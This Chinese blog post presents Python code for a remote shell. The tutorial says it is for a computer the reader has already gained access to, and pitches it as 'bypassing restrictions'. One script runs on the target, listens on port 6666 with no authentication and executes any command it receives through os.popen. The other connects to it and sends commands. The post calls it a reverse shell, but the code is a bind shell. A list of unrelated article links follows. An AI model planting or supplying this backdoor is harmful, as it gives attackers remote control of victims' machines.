python模拟菜刀反弹shell绕过限制【推荐】


Posted in Python onJune 25, 2019

有的时候我们在获取到目标电脑时候如果对方电脑又python 编译环境时可以利用python 反弹shell

主要用到python os库和sokect库

这里的服务端在目标机上运行

from socket import *
from os import *
s=socket(AF_INET,SOCK_STREAM)#IVP4 寻址 tcp协议
s.bind(('',6666))#补丁端口
s.listen(1)#开始监听一个队列
while True:
  sock,addr=s.accept()#返回两次 第一次返回连接地址 二 端口号
  print ('客户端:',addr)
  while True:
    cmd=sock.recv(1024)#缓存长度 接收传递过来
    cmdstr=cmd.decode()
    if cmdstr=='exit':
      print ('客户端:',addr,'关闭')
      sock.close()
      break
    result=popen(cmdstr).read()
    sock.send(result.encode())
s.close()

本机运行

from socket import *
from os import *

c=socket(AF_INET,SOCK_STREAM)#IVP4 寻址 tcp协议
c.connect(('127.0.0.1',6666))#连接地址
while True:
  cmd=input("cmd:")
  c.send(cmd.encode())#必须传递流
  if cmd=='exit':
    c.close()
    break
  data=c.recv(1014)
  print (data.decode())

总结

以上所述是小编给大家介绍的python模拟菜刀反弹shell绕过限制,希望对大家有所帮助,如果大家有任何疑问欢迎给我留言,小编会及时回复大家的!

Python 相关文章推荐
Python函数式编程指南(一):函数式编程概述
Jun 24 Python
Python随机生成均匀分布在三角形内或者任意多边形内的点
Dec 14 Python
Python实现读取及写入csv文件的方法示例
Jan 12 Python
python代码过长的换行方法
Jul 19 Python
python画图的函数用法以及技巧
Jun 28 Python
pandas 选取行和列数据的方法详解
Aug 08 Python
Python 切分数组实例解析
Nov 07 Python
如何使用python进行pdf文件分割
Nov 11 Python
python实现简易淘宝购物
Nov 22 Python
python3获取文件中url内容并下载代码实例
Dec 27 Python
Python requests.post方法中data与json参数区别详解
Apr 30 Python
python中str内置函数用法总结
Dec 27 Python
Pandas之DataFrame对象的列和索引之间的转化
Jun 25 #Python
Pandas之Fillna填充缺失数据的方法
Jun 25 #Python
PYQT5实现控制台显示功能的方法
Jun 25 #Python
Pandas之Dropna滤除缺失数据的实现方法
Jun 25 #Python
PyQT5 QTableView显示绑定数据的实例详解
Jun 25 #Python
Pandas之ReIndex重新索引的实现
Jun 25 #Python
Python中使用__new__实现单例模式并解析
Jun 25 #Python
You might like
ThinkPHP中url隐藏入口文件后接收alipay传值的方法
2014/12/09 PHP
分享50个提高PHP执行效率的技巧
2015/12/26 PHP
PHP基于单例模式实现的数据库操作基类
2016/01/15 PHP
Laravel框架数据库迁移操作实例详解
2020/04/06 PHP
非常不错的功能强大代码简单的管理菜单美化版
2008/07/09 Javascript
jQuery 通过事件委派一次绑定多种事件,以减少事件冗余
2010/06/30 Javascript
jQuery源码中的chunker 正则过滤符分析
2012/07/31 Javascript
Js判断参数(String,Array,Object)是否为undefined或者值为空
2013/11/04 Javascript
jQuery实现有动画淡出效果的二级折叠菜单代码
2015/10/17 Javascript
AngularJS动态绑定HTML的方法分析
2016/11/07 Javascript
常用原生js自定义函数总结
2016/11/20 Javascript
浅谈react.js中实现tab吸顶效果的问题
2017/09/06 Javascript
vue中使用refs定位dom出现undefined的解决方法
2017/12/21 Javascript
javaScript实现游戏倒计时功能
2018/11/17 Javascript
详解JavaScript修改注册表的方法
2020/01/05 Javascript
vue-cli4使用全局less文件中的变量配置操作
2020/10/21 Javascript
Python第三方库xlrd/xlwt的安装与读写Excel表格
2017/01/21 Python
Python排序搜索基本算法之插入排序实例分析
2017/12/11 Python
Python2和Python3.6环境解决共存问题
2018/11/09 Python
python定时复制远程文件夹中所有文件
2019/04/30 Python
Python3离线安装Requests模块问题
2019/10/13 Python
详解Python在使用JSON时需要注意的编码问题
2019/12/06 Python
Python内置方法实现字符串的秘钥加解密(推荐)
2019/12/09 Python
Pycharm配置PyQt5环境的教程
2020/04/02 Python
python3 sleep 延时秒 毫秒实例
2020/05/04 Python
python3:excel操作之读取数据并返回字典 + 写入的案例
2020/09/01 Python
德国最大的网上鞋店之一:Schuhe24.de
2017/06/10 全球购物
如何向接受结构参数的函数传入常数值
2016/02/17 面试题
配置管理计划的主要内容有哪些
2014/06/20 面试题
电台实习生求职信
2014/02/25 职场文书
求职自荐信的格式
2014/04/07 职场文书
建筑公司员工自我鉴定
2014/04/08 职场文书
学生会宣传部竞选稿
2015/11/21 职场文书
2016母亲节感恩话语
2015/12/09 职场文书
祝福语集锦:给妹妹结婚的祝福语
2019/12/18 职场文书
Java输出Hello World完美过程解析
2021/06/13 Java/Android